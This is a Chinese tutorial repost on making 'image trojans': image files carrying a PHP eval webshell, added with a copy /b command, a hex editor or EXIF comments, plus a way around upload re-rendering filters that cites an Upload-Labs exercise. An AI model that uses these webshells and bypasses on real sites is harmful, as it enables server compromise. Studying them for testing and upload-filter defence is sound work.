图片木马制作的三种方法

本文转自:https://www.cnblogs.com/cybersecuritystools/p/14932567.html

 

0x01什么是图片木马?

图片木马在网络上没有统一的定义,在这里我给出自己的定义。图片木马是一张能正常显示又包含恶意代码(比如一句话木马)的图片文件。

根据定义我们知道图片木马两个条件:

  • 图片能正常显示
  • 包含能执行的而已代码

总体思路:将恶意代码写在图片文件中非图片数据区,防止写入导致图片损坏。

常规的图片格式有gif,png,jpg格式

 

0x02将恶意代码写在图片尾部

方法一:copy法

准备一张正常图片(a.jpg),新建一个文件内容写入以下代码(b.php)

<?php @eval($_POST['sbsw']);?>

使用以下命令生成图片木马muma.jpg

copy  a.jpg/b + b.php/a = muma.jpg

/a表示ASCII码 , /b代表二进制文件

 

 

方法二:二进制编辑器法

 使用二进制编辑工具(比如winhex,utrl editor等等)直接写恶意代码到文件尾部。
这里我使用winhex给大家演示

 

 

 

 

0x03图片描述法

jpg格式的图片有exif这个结构,专门用来描述

方法一:ps法

使用ps打开图片,在描述处填入恶意代码,最后保存

其实也可以用gimp

 

 

 

 

 

 

 

方法二:edjpgcom

将要注入恶意代码的图片拖到edjpgcom.exe上,在edjpgcom弹出的输入框中输入一句话。

 

下载链接:https://pan.baidu.com/s/1ksyleLk034AGKmiy9E8a9A 提取码: caep


0x04渲染绕过

适合格式:gif
现在的网站对于图片上传的防范越来越严,经常对上传的图片二次渲染。导致我们的通过方法思路一和思路二的方

法注入的而已代码,在渲染之后被“清洗”掉了!这时候我们就得思考如何去绕过。
绕过思路:对比上传前和上传后的图片的差异,找到相同数据同时又是非图片数据区的地方,在在,此处写入恶意代码。

下载大佬开发的上传绕过框架(uplaod bypass framework),里面有一个二次渲染绕过上传

参考文章: 制作绕过二次渲染的图片马;Upload-Labs第Pass-16通关(二次渲染绕过)详解

步骤一:对比

 

步骤二:写入

 

 

参考文章:

图片木马制作大法 

 

<center><img src="https://img2024.cnblogs.com/blog/2010489/202409/2010489-20240907213145612-281830915.png" width="30%">

看着就真的看着,不学就真的5

 

图片木马的使用:

https://www.bilibili.com/video/BV1kJ411u7HY/?spm_id_from=333.337.search-card.all.click&vd_source=31f3059579268131515b59726475aa43

 

图片木马测方法(未验证):
ASP.NET 上传文件安全检测方案-CSDN博客

关于asp.net网站中如何判断上传的是图片而不是伪装成图片格式的病毒,以及让文章中出现的代码显示特定格式_已解决_博问_博客园

ASP.NET中上传图片检测其是否为真实的图片 防范病毒上传至服务器_net图片上传安全验证-CSDN博客

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/95860.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/95860.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Redis】缓存的穿透、击穿和雪崩

引言要了解缓存的这几个相关问题&#xff0c;我们先以一个例子来引入&#xff1a;有一个get请求&#xff1a;api/news/getById/1正常情况下对其申请访问的流程如图&#xff1a;但若是如此&#xff0c;访问增多或者受到攻击时很容易受到以下问题1 缓存穿透1.1 造成原因当查询一个…

打造一款高稳定、低延迟、跨平台RTSP播放器的技术实践

一、引言 RTSP&#xff08;Real Time Streaming Protocol&#xff09;作为经典的实时流媒体协议&#xff0c;已经深深嵌入到安防监控、远程教育、工业巡检、低空经济、医疗影像传输等行业之中&#xff0c;可以说是这些场景的视频传输“基础设施”。一个稳定的 RTSP 播放器&…

C++_数据结构

数据结构是计算机存储、组织数据的方式&#xff0c;它使得数据能够被高效地访问和修改。根据数据元素之间关系的不同特性&#xff0c;数据结构可以分为多种类型。主要可以分为两大类&#xff1a;逻辑结构和物理结构&#xff08;也称存储结构&#xff09;。 一、逻辑结构&#x…

一个正常的 CSDN 博客账号,需要做哪些基础准备?

一个正常的 CSDN 博客账号&#xff0c;需要做哪些准备&#xff1f; CSDN&#xff08;中国软件开发网&#xff09;作为国内最具影响力的技术社区之一&#xff0c;不仅是开发者获取信息的重要平台&#xff0c;也是技术人建立个人品牌、输出知识、积累影响力的重要阵地。想要把一…

【Python基础】 17 Rust 与 Python 运算符对比学习笔记

一、算术运算符运算符Rust &#x1f980;Python &#x1f40d;示例 (Rust)示例 (Python)说明加法加法let sum 5 3;sum 5 3-减法减法let diff 5 - 3;diff 5 - 3*乘法乘法let product 5 * 3;product 5 * 3/除法除法let quotient 5 / 3; → 1quotient 5 / 3 → 1.666...…

单链表逆序java

在Java中实现单链表的逆序&#xff0c;可以通过迭代或递归两种方式。以下是两种方法的详细实现&#xff1a; 1. 迭代方法&#xff08;推荐&#xff09; public class ListNode {int val;ListNode next;ListNode(int x) { val x; } }class Solution {public ListNode reverseLi…

(11)用于无GPS导航的制图师SLAM(二)

文章目录 前言 7 构建软件包 8 开始制图 9 配置 ArduPilot 10 测试 11 视频 前言 本页展示了如何使用 RPLidarA2 激光雷达(RPLidarA2 lidar)设置 ROS 和 Google Cartographer SLAM&#xff0c;为 ArduPilot 提供本地位置估计&#xff0c;使其可以在没有 GPS 的情况下运行…

1.5、机器学习-回归算法

1、线性回归模型 线性回归模型(Liner Regression)&#xff0c;是利用线性拟合的方式来探寻数据背后的规律。通过搭建线性回归模型&#xff0c;可以寻找这些散点&#xff08;也称样本点&#xff09;背后的趋势线(也称回归曲线)。 借助回归曲线&#xff0c;我们可以进行一些简单…

eclipse 安装 lombok

好久没有用eclipse&#xff0c;新装eclipse 发现lombok 没有生效&#xff0c;如下安装最省事&#xff0c;无需安装plugin等。 进入maven 本地目录&#xff0c;如&#xff1a;org\projectlombok\lombok\1.18.38&#xff0c;点击lombok jar文件指定eclipse 目录&#xff0c;安装完…

linux离线安装elasticsearch8.19.3

下载: 官网多版本下载: Past Releases of Elastic Stack Software | Elastic github多版本下载: https://github.com/elastic/elasticsearch/releases 上传后解压到当前目录 tar -zxvf elasticsearch-8.19.3-linux-x86_64.tar.gz 或指定解压目录 tar -xzf elasticsearch-8…

Uniapp中进行微信小程序头像和昵称的更改

一、官方文档&#xff1a; 1、wx.getUserInfo&#xff08;uni.getUserInfo&#xff09;&#xff1a;基础库版本低于2.27.1可用 ① 文档链接&#xff1a; https://developers.weixin.qq.com/miniprogram/dev/api/open-api/user-info/wx.getUserInfo.htmlhttps://uniapp.dclou…

交换机详细

交换机&#xff08;Sritch&#xff09;&#xff1a;一种用于电&#xff08;光&#xff09;信号转发的网络设备&#xff0c;可以为接入交换机的任意两个网络节点提供独享的电信号通路。解决什么问题&#xff1f;多台设备之间的数据交换的问题。因此根据它的功能&#xff0c;它通…

功能强大的多线程端口扫描工具,支持批量 IP 扫描、多种端口格式输入、扫描结果美化导出,适用于网络安全检测与端口监控场景

工具介绍 PortScanner - 多线程端口扫描工具&#xff0c;一款功能强大的多线程端口扫描工具&#xff0c;支持批量 IP 扫描、多种端口格式输入、扫描结果美化导出&#xff0c;适用于网络安全检测与端口监控场景。&#x1f31f; 功能特性 &#x1f50d; 灵活的扫描目标&#xff1…

【OpenHarmony文件管理子系统】文件访问接口mod_fileio解析

OpenHarmony文件访问接口mod_fileio解析 概述 mod_fileio模块是OpenHarmony文件管理API中的核心模块之一&#xff0c;提供了完整的文件I/O操作功能。该模块基于Node.js N-API构建&#xff0c;为JavaScript应用提供了丰富的文件系统操作接口&#xff0c;包括文件读写、目录操作、…

js逆向Webpack模块加载机制解析:从数组到JSONP

1. 概述 Webpack作为现代前端开发中最流行的模块打包工具&#xff0c;其模块加载机制值得深入理解。本文将解析Webpack的几种模块加载方式&#xff0c;包括数组形式、键值对形式和JSONP动态加载。只有理解了它的相关加载机制&#xff0c;我们才可以进行逆向工作。 2. 数组形式的…

Joplin-解决 Node.js 中 “digital envelope routines::unsupported“ 错误

解决 Node.js 中 “digital envelope routines::unsupported” 错误 在使用 Webpack 构建 Joplin 插件时&#xff0c;你可能会遇到 error:0308010C:digital envelope routines::unsupported 错误。这个错误看起来很复杂&#xff0c;但实际上有明确的原因和解决方案。 错误原因…

UE5 UAT

通过UAT 打包的流程&#xff0c;先整理这么点入口// Engine\Source\Programs\AutomationTool\Program.cs /// <summary> /// Main entry point /// </summary> public partial class Program {public static async Task<int> Main(string[] Arguments){Logge…

Python带状态生成器完全指南:从基础到高并发系统设计

引言&#xff1a;状态化生成器的核心价值在复杂系统开发中&#xff0c;带状态的生成器是处理复杂逻辑的核心工具。根据2024年Python开发者调查报告&#xff1a;78%的状态机实现使用带状态生成器85%的数据管道依赖状态化生成器92%的并发系统需要状态管理65%的算法优化通过状态化…

Python元组:不可变但灵活的数据容器

Python元组&#xff1a;不可变但灵活的数据容器 元组(tuple)是Python中一种不可变(immutable)但功能灵活的有序集合数据类型&#xff0c;具有以下核心特性&#xff1a;一、基本特性 不可变性‌&#xff1a;创建后不能修改元素&#xff08;增删改操作均不允许&#xff09; 有序存…

FastGPT源码解析 Agent 大模型对接接口和使用详解

FastGPT 大模型对接核心代码分析 核心架构概览 FastGPT 采用统一模型抽象层设计&#xff0c;通过标准化接口对接多种大模型&#xff0c;支持 LLM、Embedding、ReRank、TTS、STT 等多种 AI 能力。 支持各种大模型能力的配置&#xff0c;包括本地ollama、各个AI云厂商的API接入配…